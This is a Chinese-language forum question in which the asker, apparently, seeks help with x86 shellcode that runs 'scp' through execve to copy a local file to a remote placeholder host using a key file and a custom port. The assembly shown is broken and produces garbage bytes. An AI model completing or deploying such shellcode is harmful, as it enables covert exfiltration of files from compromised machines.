我想编写一个执行sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)
.
这是完整的命令:
scp -i /tmp/file -P 8989 /path/file user@ip:/home/user
问题是我需要很多寄存器(在 scp 之后有 6 个令牌):
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push /tmp/file
???
push edx
push -i
???
push edx
push /usr/bin/scp
mov ebx,esp
我试图像这样推送寄存器:
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push edi
push esi
push ecx
push eax
mov ecx,esp
push edx
push /tmp/file
mov edi,esp
push edx
push -i
mov esi,esp
push edx
push /usr/bin/scp
mov ebx,esp
push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp
int 0x80
但是我看到使用 gdb 和 libemu 只会产生垃圾字节。
关于如何解决这个问题的任何提示?